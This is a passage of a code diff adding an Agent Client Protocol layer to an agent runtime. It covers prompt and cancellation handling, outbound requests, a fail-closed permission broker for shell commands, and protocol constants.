Re-subscribe before the turn + # runs: a turn whose events have no subscriber left to deliver them is + # a prompt that never answers. + await self._rebind_subscription(session) + + try: + future = self._translator.begin_turn(session.session_id) + except TurnAlreadyRunningError as exc: + raise AcpMethodError( + protocol.INVALID_REQUEST, + str(exc), + {"sessionId": session.session_id}, + ) from exc + try: + try: + accepted = await self._call( + "turn.send", + {"session_key": session.session_key, "content": text, "media": media}, + ) + except AcpMethodError as exc: + # The turn never started, so no terminating event is coming and + # awaiting the future would hang. Say why, then end the turn: + # the rule is that a prompt is answered with a stopReason, and + # that holds for a turn that was refused as much as for one that + # ran. + self._say(session, f"The turn could not start: {exc.message}") + return {"stopReason": "end_turn"} + # Which turn is this prompt's. The stream also carries turns the + # runtime submitted, and without this their endings answer this + # request -- the client is told the turn is over before its own turn + # starts. ``turn.send`` is the only place that knows. + # Always called, including with an empty id: the translator needs to + # be told that no id is coming, or it holds every ending waiting for + # one and the prompt is never answered. + self._translator.accept_turn( + session.session_id, + str(accepted.get("turn_id") or "") if isinstance(accepted, dict) else "", + ) + stop = await future + finally: + self._translator.end_turn(session.session_id) + return {"stopReason": stop} + + async def _session_cancel(self, params: dict[str, Any]) -> None: + """Cancel the session's turn, and make sure its prompt is answered. + + Order matters and follows the one measured to work: cancel the work + first, then resolve the pending prompt -- last, so a late event cannot + settle it with a different reason after the client has been told + ``cancelled``. Resolving unconditionally rather than only when + ``turn.cancel`` reports it cancelled something: a cancel that arrives in + the window between ``begin_turn`` and the scheduler accepting the turn + finds nothing to cancel, and the prompt still has to be answered. + """ + session_id = str(params.get("sessionId") or "") + session = self._translator.get(session_id) + if session is None: + # A notification for a session this connection does not have. Not an + # error to report: notifications have no reply, and a client + # cancelling a session it already dropped is tidy, not broken. + logger.debug("acp: session/cancel for unknown session {}", session_id) + return None + try: + await self._call("turn.cancel", {"session_key": session.session_key}) + finally: + self._translator.settle_turn(session.session_id, "cancelled") + return None + + # -- prompt content --------------------------------------------------- + + def _read_prompt(self, blocks: Any) -> tuple[str, list[str], list[str]]: + """Flatten ACP content blocks into the text and media a turn takes. + + Returns the text, the media paths, and a list of notes about anything + that was degraded, for the log. One unusable block never fails the + prompt: a person who attached something odd should get an answer about + the rest of what they said. + """ + if not isinstance(blocks, list): + raise AcpMethodError(protocol.INVALID_PARAMS, "prompt must be an array of content blocks") + parts: list[str] = [] + media: list[str] = [] + notes: list[str] = [] + for block in blocks: + if not isinstance(block, dict): + notes.append("a prompt block was not an object") + continue + kind = block.get("type") + if kind == "text": + text = block.get("text") + if isinstance(text, str) and text: + parts.append(text) + continue + if kind == "resource_link": + # The block Zed sends for every @-mention of a file, and it is + # gated by no capability at all -- PromptCapabilities covers only + # audio and embeddedContext. An agent with no branch for it drops + # the whole point of the mention. + parts.append(self._resource_link(block)) + continue + if kind == "resource": + rendered, note = self._embedded_resource(block) + if rendered: + parts.append(rendered) + if note: + notes.append(note) + continue + if kind == "image": + path, note = self._store_image_sync(block) + if path: + media.append(path) + parts.append(f"[attached image: {path}]") + if note: + notes.append(note) + continue + if kind == "audio": + # promptCapabilities.audio is false, so this should not arrive. + # Named rather than dropped: a person who spoke deserves to know + # the words did not get through. + parts.append("[an audio attachment was sent, which this agent cannot read]") + notes.append("audio block received despite promptCapabilities.audio=false") + continue + notes.append(f"unknown prompt block type {kind!r}") + return "\n\n".join(parts), media, notes + + @staticmethod + def _resource_link(block: dict[str, Any]) -> str: + """One line naming a linked resource, with a usable path when there is one. + + A ``file://`` URI is turned back into a path so the agent's own file + tools can act on it; anything else is passed through as a URI, which + ``web_fetch`` can take. Both are named in the prompt rather than read + here: reading it would make an @-mention a silent file read, and the + agent's read goes through the tool that reports it. + """ + uri = block.get("uri") + name = block.get("name") + label = name if isinstance(name, str) and name else "resource" + if not isinstance(uri, str) or not uri: + return f"[{label}]" + path = _file_uri_to_path(uri) + return f"[{label}: {path or uri}]" + + @staticmethod + def _embedded_resource(block: dict[str, Any]) -> tuple[str, str | None]: + """Inline an embedded text resource; name a binary one. + + ``embeddedContext`` is declared true on the strength of the text case. + The blob case has no honest inline form -- base64 in a prompt is tokens + spent on nothing -- so it is named, and the note says so. + """ + resource = block.get("resource") + if not isinstance(resource, dict): + return "", "an embedded resource block carried no resource" + uri = resource.get("uri") if isinstance(resource.get("uri"), str) else "" + text = resource.get("text") + if isinstance(text, str): + label = _file_uri_to_path(uri) or uri or "embedded resource" + return f"[{label}]\n{text}", None + if "blob" in resource: + label = _file_uri_to_path(uri) or uri or "embedded resource" + return f"[binary resource, not inlined: {label}]", f"blob resource {label} was named, not inlined" + return "", "an embedded resource had neither text nor blob" + + def _store_image_sync(self, block: dict[str, Any]) -> tuple[str | None, str | None]: + """Decode an image block onto disk, returning a workspace-relative path. + + A path and not bytes because that is what a turn takes: ``turn.send`` + resolves media through the file tools' own policy, and the spelling it + resolves is ``uploads/`` -- which also survives a deployment with + ``restrict_to_workspace`` on, where an absolute temp path outside the + workspace would be dropped without a word. + + Written here rather than through ``fs.upload`` for one reason: this runs + inside the frame handler and ``fs.upload`` is async, while every caller + of this is inside a list comprehension over blocks. The size limit and + the collision suffix are the parts that matter and both are kept. + """ + raw = block.get("data") + mime = block.get("mimeType") + if not isinstance(raw, str) or not raw: + return None, "an image block carried no data" + try: + data = base64.b64decode(raw, validate=True) + except (binascii.Error, ValueError): + return None, "an image block was not valid base64" + # No "decoded to nothing" branch: with ``validate=True`` the only input + # that yields empty bytes is the empty string, which the check above + # already refused. Measured, because an unreachable guard reads as a case + # somebody has handled. + if len(data) > MAX_IMAGE_BYTES: + return None, f"an image of {len(data)} bytes exceeds the {MAX_IMAGE_BYTES} byte limit" + suffix = mimetypes.guess_extension(mime) if isinstance(mime, str) else None + try: + return _write_upload(data, suffix or ".bin"), None + except Exception as exc: + # Every failure shape, on purpose, and the same reasoning + # ``turn.send``'s own attachment resolver uses: an unwritable + # workspace (OSError), an unreadable config (anything), a name the + # filesystem refuses. One bad attachment must not cost the turn the + # rest of the prompt was asking for. + return None, f"an image could not be written: {exc}" + + # -- plumbing --------------------------------------------------------- + + def _session_for(self, params: dict[str, Any]) -> AcpSession: + session_id = params.get("sessionId") + session = self._translator.get(session_id) if isinstance(session_id, str) else None + if session is None: + # -32002, the code the spec assigns to a session that does not + # exist, and not a silent fresh session: a client that reopens a + # session raven has lost must be told, or it shows a person an empty + # transcript for a conversation that had one. + raise AcpMethodError( + protocol.RESOURCE_NOT_FOUND, + "unknown session", + {"sessionId": session_id}, + ) + return session + + @staticmethod + def _refuse_per_session_mcp(params: dict[str, Any]) -> None: + """Refuse a non-empty ``mcpServers``, rather than ignoring it. + + MCP is connected once per process, lazily, and nothing scopes a server to + one session -- so accepting the field would leave a client believing its + tools are available for the rest of the session. Required by the schema + on both ``session/new`` and ``session/load``, and an empty array is the + normal value. + """ + servers = params.get("mcpServers") + if isinstance(servers, list) and servers: + raise AcpMethodError( + protocol.INVALID_PARAMS, + "per-session MCP servers are not supported; configure MCP servers in raven's own config", + {"field": "mcpServers", "count": len(servers)}, + ) + + def _validated_cwd(self, raw: Any) -> str: + """The client's working directory, checked the way raven checks its own. + + ``validate_override`` refuses a relative path, agent home, any ancestor + of it, and the memory / skills / sessions subtrees -- the last because + the per-turn checkpoint runs ``add -A`` over the working directory, so a + session rooted at ``~`` would commit provider keys into a shadow git + repo. Its refusals arrive as ``ValueError``; a bare Python exception is + not an acceptable handshake failure, so each becomes -32602 with the + reason attached. + """ + from raven.agent.workdir import validate_override + from raven.config import load_config + + if not isinstance(raw, str) or not raw.strip(): + raise AcpMethodError(protocol.INVALID_PARAMS, "cwd is required and must be a string", {"field": "cwd"}) + try: + return str(validate_override(raw, load_config().workspace_path)) + except ValueError as exc: + raise AcpMethodError( + protocol.INVALID_PARAMS, f"cwd is not usable: {exc}", {"field": "cwd", "cwd": raw} + ) from exc + + def _bind_workdir(self, session_key: str, cwd: str) -> None: + """Pin the session's turns to ``cwd`` the way ``session.create`` does. + + The same metadata key ``WorkdirResolver`` already honours, set on the + cached session and persisted with its first save -- as lazy as the mint + itself, so a client that opens a session and says nothing writes no file. + + It has to be *the engine's* manager. ``_manager_for(None, config)`` builds + a fresh ``SessionManager`` every call and caches nothing, so writing the + metadata through one would write it into an object discarded on the next + line -- and the session would silently run in the wrong directory. Without + an engine there is nothing to pin to, and the turn is going to fail on the + build error anyway; said out loud rather than dropped, because "the agent + edited the wrong tree" is not a failure anyone would trace back to here. + """ + from raven.config import load_config + from raven.rpc.methods.session import _manager_for + + if self._agent_loop is None: + logger.warning("acp: no engine, so {} cannot be pinned to {}", session_key, cwd) + return + _manager_for(self._agent_loop, load_config()).get_or_create(session_key).metadata["workdir"] = cwd + + async def unsubscribe_all(self) -> None: + """Close every subscription this connection opened. + + The symmetric half of ``_subscribe``, and it is not merely tidy: each + subscription owns an ``asyncio`` task running a coalesce loop, and + ``build_rpc_stack``'s teardown does not touch the emitter. Left open, they + are reported at interpreter exit as "Task was destroyed but it is + pending!" -- on stderr, which is the stream an ACP client shows to the + person who just closed a window. + + Failures are swallowed per session rather than allowed to abort the sweep: + this runs on the way out, and one unclosed subscription must not cost the + rest of the shutdown. + """ + for session in self._translator.sessions(): + if not session.subscription_id: + continue + try: + await self._call("turn.unsubscribe", {"subscription_id": session.subscription_id}) + except Exception as exc: + logger.debug("acp: closing subscription for {} failed: {}", session.session_id, exc) + + async def _subscribe(self, session_key: str) -> str: + result = await self._call("turn.subscribe", {"session_key": session_key}) + subscription_id = result.get("subscription_id") + if not isinstance(subscription_id, str) or not subscription_id: + raise AcpMethodError(protocol.INTERNAL_ERROR, "turn.subscribe returned no subscription") + return subscription_id + + async def _rebind_subscription(self, session: AcpSession) -> None: + """Open a fresh subscription for a session whose stream died. + + The emitter closed the old subscription when it overflowed, so the session + is bound to nothing. This subscribes again and points the translator's + binding at the new stream. + """ + subscription_id = await self._subscribe(session.session_key) + self._translator.bind_subscription(session.session_id, subscription_id) + + async def _call(self, method: str, params: dict[str, Any]) -> dict[str, Any]: + """Invoke a registered RPC method, raising its error as an ACP error. + + The dispatcher answers with a frame rather than by raising, so the error + has to be unpacked. Its code is carried through unchanged: -32003 (a turn + already running) and -32008 (no model available) mean something a client + can act on, and flattening them to -32603 would throw that away. + """ + frame = protocol.request(next(self._ids), method, params) + response = await self._dispatcher.dispatch(frame) + error = response.get("error") if isinstance(response, dict) else None + if error: + raise AcpMethodError( + int(error.get("code", protocol.INTERNAL_ERROR)), + str(error.get("message", method + " failed")), + error.get("data"), + ) + result = response.get("result") if isinstance(response, dict) else None + return result if isinstance(result, dict) else {} + + def _say(self, session: AcpSession, text: str) -> None: + """Put one line of agent message on the wire for this session.""" + self._emit( + protocol.notification( + "session/update", + { + "sessionId": session.session_id, + "update": { + "sessionUpdate": "agent_message_chunk", + "content": {"type": "text", "text": text}, + }, + }, + ) + ) + + +# Matches ``fs.upload``'s own ceiling rather than inventing a second one: an +# image pasted into an editor and an image dropped into the web page are the +# same file arriving by two roads. +MAX_IMAGE_BYTES = 20 * 1024 * 1024 + + +def _new_chat_id() -> str: + from raven.session.manager import new_chat_id + + return new_chat_id() + + +def _write_upload(data: bytes, suffix: str) -> str: + """Store bytes under ``/uploads`` and return the relative path.""" + from raven.config import load_config + from raven.session.manager import new_chat_id + + root = load_config().workspace_path / "uploads" + root.mkdir(parents=True, exist_ok=True) + # The minted id rather than a client-supplied name: the block carries no + # filename, and a name derived from the mime type alone would collide on the + # second paste. + target = root / f"acp-{new_chat_id()}{suffix}" + target.write_bytes(data) + return f"uploads/{target.name}" + + +def _file_uri_to_path(uri: str) -> str | None: + """The filesystem path behind a ``file://`` URI, or ``None``. + + Percent-decoded, because an editor encodes spaces, and restricted to a local + URI: ``file://host/share`` names somebody else's machine, and turning it + into a local path would point the agent at the wrong file rather than at + none. + """ + if not uri.startswith("file://"): + return None + try: + parsed = urlparse(uri) + except ValueError: + # ``urlparse`` raises on a bracketed host that is not a valid IPv6 + # literal. A URI that cannot be parsed is one whose path cannot be + # trusted, so it is passed through as text rather than guessed at. + return None + if parsed.netloc and parsed.netloc != "localhost": + return None + path = unquote(parsed.path) + return path or None + + +__all__ = [ + "IGNORED_NOTIFICATIONS", + "MAX_IMAGE_BYTES", + "UNIMPLEMENTED_METHODS", + "AcpMethodError", + "AcpMethods", +] diff --git a/raven/acp/outbound.py b/raven/acp/outbound.py new file mode 100644 index 00000000..cdab9e49 --- /dev/null +++ b/raven/acp/outbound.py @@ -0,0 +1,173 @@ +"""Requests this agent makes of its client, and the answers coming back. + +Nothing in raven had this. ``Dispatcher`` is inbound-only and ``send_frame`` is +fire-and-forget, so a method that needs the client to *decide* something -- which +is what a permission prompt is -- had no mechanism at all. The only working +example in the repo is on the other side of the wire, in +``raven/agent/acp/client.py``, and this is its mirror. + +Three things make it more than a dict: + +* **The id space is this agent's.** A client's request ids and an agent's are + independent, so ``"id": 1`` inbound and ``"id": 1`` outbound are unrelated + frames. Mixing them into one map would let a client's own request id resolve a + promise the agent is holding. +* **Every wait ends.** A client is free to never answer -- and one of the four + measured failure modes is exactly that. A pending future with no deadline is a + turn that never finishes, so every call carries a timeout and the timeout is a + normal outcome rather than an error. +* **Shutdown is an answer.** When the connection closes, everything still + waiting is failed rather than left for the garbage collector, because the code + awaiting it has cleanup to run. +""" + +from __future__ import annotations + +import asyncio +from collections.abc import Callable +from dataclasses import dataclass +from itertools import count +from typing import Any + +from loguru import logger + +from raven.acp import protocol + +DEFAULT_REQUEST_TIMEOUT_S = 300.0 +"""How long to wait for a client to answer, by default. + +Five minutes, not the thirty-five seconds the RPC approval broker uses. That +ceiling exists because a terminal overlay owns a visible countdown; here the +person is reading a diff in an editor, and a permission prompt that expires +itself after half a minute reads as an agent that gave up. Long, but finite: a +client that has stopped answering must not hold a turn open forever. +""" + + +class RequestFailedError(Exception): + """The client answered with a JSON-RPC error.""" + + def __init__(self, method: str, code: int, message: str, data: Any = None) -> None: + super().__init__(f"{method} failed: [{code}] {message}") + self.method = method + self.code = code + self.message = message + self.data = data + + +class ConnectionClosedError(Exception): + """The connection went away while this request was outstanding.""" + + +@dataclass +class _Pending: + method: str + future: asyncio.Future[Any] + + +class OutboundRequests: + """Mint outbound requests, and match responses back to them. + + ``emit`` writes one finished frame. It is synchronous for the same reason the + translator's is: the frame writer is a write plus a flush with no suspension + point, which is what keeps the order of frames on the wire equal to the order + they were produced in. + """ + + def __init__(self, emit: Callable[[dict[str, Any]], None]) -> None: + self._emit = emit + self._ids = count(1) + self._pending: dict[int, _Pending] = {} + self._closed = False + + @property + def in_flight(self) -> int: + return len(self._pending) + + async def call( + self, + method: str, + params: dict[str, Any] | None = None, + *, + timeout: float = DEFAULT_REQUEST_TIMEOUT_S, + ) -> Any: + """Ask the client for something and return its result. + + Raises :class:`RequestFailedError` when the client answers with an error, + :class:`ConnectionClosedError` when the connection goes first, and + ``TimeoutError`` when nothing arrives. Three distinct exceptions because + the caller's right answer differs: an error is the client refusing, a + close is the session ending, and a timeout is a client that is still + there and not answering. + """ + if self._closed: + raise ConnectionClosedError(f"{method} not sent: the connection is closed") + request_id = next(self._ids) + future: asyncio.Future[Any] = asyncio.get_running_loop().create_future() + self._pending[request_id] = _Pending(method=method, future=future) + try: + self._emit(protocol.request(request_id, method, params)) + return await asyncio.wait_for(future, timeout) + finally: + # Popped here rather than in ``resolve``: a timeout and a cancellation + # both leave the entry behind otherwise, and a late response would + # then resolve a future nobody is waiting on. + self._pending.pop(request_id, None) + + def resolve(self, frame: dict[str, Any]) -> bool: + """Match one inbound response frame, reporting whether it was ours. + + ``False`` means the frame answers no request this agent sent. Not an + error -- a client may answer a request it invented, or one this agent + already timed out -- but the caller wants to know, because a frame that + belongs to nobody is otherwise indistinguishable from one that was + handled. + """ + request_id = frame.get("id") + if not isinstance(request_id, int) or isinstance(request_id, bool): + # Every id this agent mints is a plain int. A string id in a response + # can only be a client answering something it made up, or echoing an + # id in the wrong type -- and either way there is nothing here to + # match it against. + return False + pending = self._pending.get(request_id) + if pending is None or pending.future.done(): + return False + error = frame.get("error") + if isinstance(error, dict): + pending.future.set_exception( + RequestFailedError( + pending.method, + int(error.get("code", protocol.INTERNAL_ERROR)), + str(error.get("message", "request failed")), + error.get("data"), + ) + ) + return True + pending.future.set_result(frame.get("result")) + return True + + def close(self) -> None: + """Fail everything outstanding, and refuse anything new. + + A one-way latch, and both halves matter: failing the pending futures lets + the code awaiting them run its cleanup, and refusing new calls stops a + handler that is still unwinding from writing to a closed channel. + """ + self._closed = True + pending, self._pending = self._pending, {} + for request_id, entry in pending.items(): + if not entry.future.done(): + entry.future.set_exception( + ConnectionClosedError(f"{entry.method} (id {request_id}) was outstanding when the client left") + ) + if pending: + logger.debug("acp: failed {} outstanding outbound request(s) on close", len(pending)) + + +__all__ = [ + "DEFAULT_REQUEST_TIMEOUT_S", + "ConnectionClosedError", + "OutboundRequests", + "RequestFailedError", +] diff --git a/raven/acp/permissions.py b/raven/acp/permissions.py new file mode 100644 index 00000000..1aa8f05e --- /dev/null +++ b/raven/acp/permissions.py @@ -0,0 +1,214 @@ +"""Ask the client's user before running a protected command. + +Raven already has an approval round trip, and this is not a second one: it is a +second *transport* for the same one. ``ExecTool`` calls +``ApprovalResponder.await_approval`` after ``ShellCommandPolicy`` classifies a +command as needing approval; the TUI's implementation emits ``approval.request`` +on its own wire, and this one sends ``session/request_permission`` on the ACP +wire. Everything about authority stays where it was -- the model never decides, +the grant covers one exact command, and there is no persistent policy. + +Two shapes of the protocol constrain what can be offered: + +* **There is no "always".** ``ApprovalBroker.resolve`` takes ``{allow, deny}`` + and its docstring says outright that there is no always-allow state; + ``denied_digests`` is cleared at every turn boundary. So only ``allow_once`` + and ``reject_once`` are offered. ``allow_always`` is in the schema and an + editor's user will want it -- offering it with nothing behind it would be a + lie the client then renders as a saved preference. +* **A refusal is a selection.** ``RequestPermissionOutcome`` has exactly two + variants, ``cancelled`` and ``selected``; there is no ``denied``. Rejecting is + ``selected`` carrying a reject option's id. + +**Every client failure is handled here, and every one of them denies.** Measured +from the client direction on codex-acp: any error in reply to this request +cancels the whole turn -- so the mirror rule is that nothing from the client may +escape this function. Four ways it can go wrong, all of them seen in the wild: +no answer at all, a JSON-RPC error, an option id nobody minted, and an explicit +``cancelled``. Options are minted per request and the answer is checked against +that set, so a client replying with a stale or invented id is refused rather than +believed -- and so is a client that answers "the first option" without reading +the kinds. +""" + +from __future__ import annotations + +import asyncio +from typing import Any +from uuid import uuid4 + +from loguru import logger + +from raven.acp import redact +from raven.acp.outbound import ( + DEFAULT_REQUEST_TIMEOUT_S, + ConnectionClosedError, + OutboundRequests, + RequestFailedError, +) +from raven.acp.updates import UpdateTranslator + +ALLOW_KIND = "allow_once" +REJECT_KIND = "reject_once" + + +class AcpPermissionBroker: + """An :class:`~raven.agent.tools.shell.ApprovalResponder` over the ACP wire. + + Structurally duck-typed rather than declared: the protocol lives in + ``raven.agent.tools.shell`` and importing it here would tie the ACP layer to + the tool module for a single method signature. + """ + + def __init__( + self, + *, + outbound: OutboundRequests, + translator: UpdateTranslator, + timeout_s: float = DEFAULT_REQUEST_TIMEOUT_S, + ) -> None: + self._outbound = outbound + self._translator = translator + # A parameter rather than the callee's default, and not because a test + # wants it short. The RPC broker's ceiling is 35 seconds because a + # terminal overlay owns a visible countdown; here a person is reading a + # diff, and the deadline is a product decision that belongs to whoever + # assembles the connection. + self._timeout_s = timeout_s + # Counted per outcome rather than logged per request: a turn that ran + # twenty commands would otherwise write twenty lines saying the same + # thing, and what a reader wants afterwards is the tally. + self.outcomes: dict[str, int] = {} + + async def await_approval( + self, + *, + conversation_id: str, + turn_id: str, + tool_call_id: str, + command: str, + description: str, + ) -> bool: + """Ask, and return whether this exact command may run once. + + Fails closed on every path. The signature is the one ``ExecTool`` calls, + including the keyword-only arguments, so this object can be handed + wherever the TUI's broker goes. + """ + session_id = self._session_for(conversation_id) + if session_id is None: + # No ACP session owns this turn -- a cron or runtime turn sharing the + # process. There is nobody to ask, and "nobody to ask" is not + # permission. + return self._record("no-session", False) + + allow_id = f"allow-{uuid4().hex}" + reject_id = f"reject-{uuid4().hex}" + request = { + "sessionId": session_id, + # Required by the schema, and genuinely wanted: a prompt with no + # subject is a dialog a person cannot answer. The id is the live tool + # call's, so a client that already drew the row updates it in place + # instead of opening an unrelated sheet. + "toolCall": { + "toolCallId": tool_call_id or f"exec-{uuid4().hex}", + "title": redact.redact(f"{description}: {command}" if description else command), + "kind": "execute", + "status": "pending", + }, + "options": [ + {"optionId": allow_id, "name": "Allow once", "kind": ALLOW_KIND}, + {"optionId": reject_id, "name": "Reject", "kind": REJECT_KIND}, + ], + # Not a standard field, and the spec forbids custom keys on standard + # types -- so the turn correlation rides here, where the schema + # declares a home for it. + "_meta": {"raven.turnId": turn_id} if turn_id else None, + } + if request["_meta"] is None: + del request["_meta"] + + try: + result = await self._outbound.call("session/request_permission", request, timeout=self._timeout_s) + except RequestFailedError as exc: + # The first measured failure mode. An error here is the client saying + # it cannot ask, which is not the same as the user saying yes. + logger.info("acp: permission request refused by the client: {}", exc) + return self._record("client-error", False) + except ConnectionClosedError: + return self._record("connection-closed", False) + except TimeoutError: + # A client that never answers. Distinguished from a denial in the + # tally because they mean different things to whoever reads it: one + # is a decision, the other is a client that stopped talking. + # (``asyncio.TimeoutError`` is this same class since 3.11, so one + # clause covers both spellings.) + logger.warning("acp: permission request went unanswered; treating it as a refusal") + return self._record("timeout", False) + except asyncio.CancelledError: + # The turn is being torn down. Re-raised rather than converted to a + # refusal: a cancelled turn has no decision to report, and swallowing + # it here would report the tool call as denied in a turn that no + # longer exists. + self._record("cancelled-turn", False) + raise + except Exception: + # The catch-all matters, and this is why: the write itself can fail. + # ``OutboundRequests.call`` puts the frame on the wire before it + # awaits, so a closed or full pipe raises an ``OSError`` that is none + # of the three cases above -- and without this clause it would travel + # up to ``ToolRegistry.execute``'s ``except Exception`` and be + # reported to the model as a *failed tool call* rather than as a + # refusal. Failing closed is the whole contract of this function. + logger.exception("acp: asking for permission failed; treating it as a refusal") + return self._record("transport-error", False) + + return self._read_outcome(result, allow_id=allow_id, reject_id=reject_id) + + def _read_outcome(self, result: Any, *, allow_id: str, reject_id: str) -> bool: + """Read the answer, believing only what this request minted.""" + if not isinstance(result, dict): + logger.warning("acp: permission answer was not an object; treating it as a refusal") + return self._record("malformed", False) + outcome = result.get("outcome") + if not isinstance(outcome, dict): + return self._record("malformed", False) + kind = outcome.get("outcome") + if kind == "cancelled": + # The third measured failure mode, and the only one that is not a + # failure: the spec requires a client to answer every pending + # permission with this when it cancels a turn. + return self._record("cancelled", False) + if kind != "selected": + return self._record("unknown-outcome", False) + option_id = outcome.get("optionId") + if option_id == allow_id: + return self._record("allowed", True) + if option_id == reject_id: + return self._record("rejected", False) + # The fourth. An id from an earlier request, or one the client invented + # -- including the ``allow_always`` a client might synthesise because its + # UI offers one. Believing it would grant authority nobody granted. + logger.warning("acp: permission answer carried an option id this request did not mint") + return self._record("unknown-option", False) + + def _session_for(self, conversation_id: str) -> str | None: + """The ACP session a turn's lane belongs to. + + A sub-agent's direct chat runs on ``#/``, so the + lane is not the session. ``session_of`` splits on the first separator, + which is what makes a handle containing anything at all safe here. + """ + from raven.spine import session_of + + if not conversation_id: + return None + session = self._translator.get(session_of(conversation_id)) + return None if session is None else session.session_id + + def _record(self, outcome: str, allowed: bool) -> bool: + self.outcomes[outcome] = self.outcomes.get(outcome, 0) + 1 + return allowed + + +__all__ = ["ALLOW_KIND", "REJECT_KIND", "AcpPermissionBroker"] diff --git a/raven/acp/protocol.py b/raven/acp/protocol.py new file mode 100644 index 00000000..17dee3ff --- /dev/null +++ b/raven/acp/protocol.py @@ -0,0 +1,176 @@ +"""The ACP wire layer as the agent direction needs it. + +Framing is not re-implemented: :mod:`raven.agent.acp.protocol` already encodes +and decodes newline-delimited JSON-RPC, byte for byte the same as +``raven/rpc/server.py`` does, and has been run against real agents. It is +imported rather than copied, and rather than moved -- moving it would touch 78 +tests belonging to the client direction for no user-visible gain. + +What is added here is what only the agent direction needs: + +* an ``id`` that may be a string. The client mints request ids, and JSON-RPC + allows a string; the client-direction helper types it ``int`` because raven + was the one minting. A client sending ``"id": "req-1"`` is legal and must be + answered on the same id. +* ``data`` on an error. The ACP error codes carry structured detail (which + session was not found, which field was rejected), and a client showing a + person why the handshake failed needs more than a sentence. +* the ACP-assigned codes, which are not JSON-RPC's: ``-32000`` auth required, + ``-32002`` resource not found, ``-32800`` request cancelled. +* version normalisation. ``protocolVersion`` is a required integer, and a client + that sends ``"1"`` or ``1.0`` is malformed -- but failing the handshake over a + type is a worse outcome than reading the intent, and the spec's own guidance + for initialize is to be tolerant. A version we cannot read at all falls back + to the latest we support, which is the same answer the spec prescribes for a + version we do not support. +""" + +from __future__ import annotations + +from typing import Any + +from raven.agent.acp.protocol import ( + AcpProtocolError, + decode, + encode, + notification, + result_response, +) + +PROTOCOL_VERSION = 1 +"""The ACP major version this agent implements. + +One, not two: ``schema/v2`` exists upstream but is a draft, no shipping agent +answers ``protocolVersion: 2``, and the official guidance is to gate a v2 path +behind both version negotiation and a feature flag. Advertising a version we do +not serve is the failure mode that guidance exists to prevent. +""" + +# JSON-RPC's own codes. +PARSE_ERROR = -32700 +INVALID_REQUEST = -32600 +METHOD_NOT_FOUND = -32601 +INVALID_PARAMS = -32602 +INTERNAL_ERROR = -32603 + +# ACP's additions, from the specification's error table. +AUTH_REQUIRED = -32000 +RESOURCE_NOT_FOUND = -32002 +REQUEST_CANCELLED = -32800 + +STOP_REASONS = frozenset( + { + "end_turn", + "cancelled", + "refusal", + "max_tokens", + "max_turn_requests", + } +) +"""Every value ``PromptResponse.stopReason`` may take. + +Two of the five have no source in raven and are therefore never sent: +``max_tokens`` and ``max_turn_requests`` describe limits the agent loop does not +report hitting. Kept in the set because it is the *schema's* enum, and a +translator that latched one of them would be caught by the schema check rather +than by this constant. +""" + + +def request(request_id: int | str, method: str, params: dict[str, Any] | None = None) -> dict[str, Any]: + """An outbound request frame. + + Widened from the client direction's ``int``: this side both answers ids it + did not mint and mints its own, and a single helper for both keeps one + encoder in the process. + """ + frame: dict[str, Any] = {"jsonrpc": "2.0", "id": request_id, "method": method} + if params is not None: + frame["params"] = params + return frame + + +def error_response( + request_id: Any, + code: int, + message: str, + data: Any = None, +) -> dict[str, Any]: + """A JSON-RPC error, with ``data`` only when there is something to say. + + Absent rather than null: the schema types ``data`` as optional, and a null + reads to a client as "there is detail and it is empty" rather than as "there + is no detail". + """ + error: dict[str, Any] = {"code": code, "message": message} + if data is not None: + error["data"] = data + return {"jsonrpc": "2.0", "id": request_id, "error": error} + + +def normalize_protocol_version(raw: Any) -> int: + """Read a client's ``protocolVersion`` as generously as is still honest. + + Accepted: an integer; a float that is exactly an integer (``1.0``); a string + of digits (``"1"``). Anything else -- absent, null, a word, a fraction -- + yields :data:`PROTOCOL_VERSION`, because the spec's answer to a version the + agent does not support is to reply with the version it does support and let + the client decide whether to disconnect. Erroring instead would deny the + client the information it needs to make that decision. + + ``bool`` is rejected even though it is an ``int`` subclass: ``True`` would + normalise to version 1 by accident, which is a coincidence rather than a + reading of intent. + """ + if isinstance(raw, bool): + return PROTOCOL_VERSION + if isinstance(raw, int): + return raw + if isinstance(raw, float) and raw.is_integer(): + return int(raw) + if isinstance(raw, str): + text = raw.strip() + # ``isdecimal`` and not ``isdigit``, measured: ``"\u00b2"`` (superscript two) + # satisfies ``isdigit`` and makes ``int()`` raise, so the looser check + # would guard nothing. ``isdecimal`` accepts exactly the alphabets + # ``int()`` parses -- which includes non-ASCII decimal digits, so + # ``"\u0661\u0662"`` reads as 12. That is the tolerance this function is + # for, not a hole in it. + if text.isdecimal(): + return int(text) + return PROTOCOL_VERSION + + +def negotiated_version(requested: Any) -> int: + """The version to answer ``initialize`` with. + + The client's version when this agent implements it, else this agent's own -- + exactly what the schema's ``protocolVersion`` field documents. An older + client asking for 0 gets 0 back only if we served it; we do not, so it gets + 1 and can disconnect knowingly. + """ + version = normalize_protocol_version(requested) + return version if version == PROTOCOL_VERSION else PROTOCOL_VERSION + + +__all__ = [ + "AUTH_REQUIRED", + "INTERNAL_ERROR", + "INVALID_PARAMS", + "INVALID_REQUEST", + "METHOD_NOT_FOUND", + "PARSE_ERROR", + "PROTOCOL_VERSION", + "REQUEST_CANCELLED", + "RESOURCE_NOT_FOUND", + "STOP_REASONS", + "AcpProtocolError", + "decode", + "encode", + "error_response", + "negotiated_version", + "normalize_protocol_version", + "notification", + "request", + "result_response", +] diff --git a/raven/acp/questions.py b/raven/acp/questions.py new file mode 100644 index 00000000..e1b9fd53 --- /dev/null +++ b/raven/acp/questions.py @@ -0,0 +1,325 @@ +"""Let the agent ask its user a question, over a protocol with no method for it. + +``ask_user`` is a tool: the model calls it, the runtime emits a +``clarify.request`` notification and blocks the tool call until somebody answers. +Over ACP that notification has nowhere to go, and the shape of the failure is the +worst kind -- the turn does not error, it *stalls*, for the ten minutes the +broker waits before falling back to the question's default. A client shows a +spinner the whole time and then a reply that ignores what it asked. + +ACP has no "ask a question" method, so there are two routes and the client's +declared capabilities pick between them: + +* **``elicitation/create``**, when the client declared form support. This is the + right fit: a message plus a schema describing one field, answered with a value. +* **``session/request_permission``** otherwise. A worse fit, and the reason it is + needed at all: ``RequestPermissionRequest.toolCall`` is *required*, so a bare + question has to arrive wearing a tool call it does not have. The synthesised + one is marked in ``_meta`` rather than disguised, and the options are the + question's own choices -- which only works because ``ask_user`` usually has + them. + +**A free-text question with no elicitation cannot be answered.** A permission +response carries an option id and nothing else, so there is no channel for typed +text. Rather than inventing an answer or hanging, the question is put on the wire +as an ordinary agent message -- the person sees what was asked and can answer 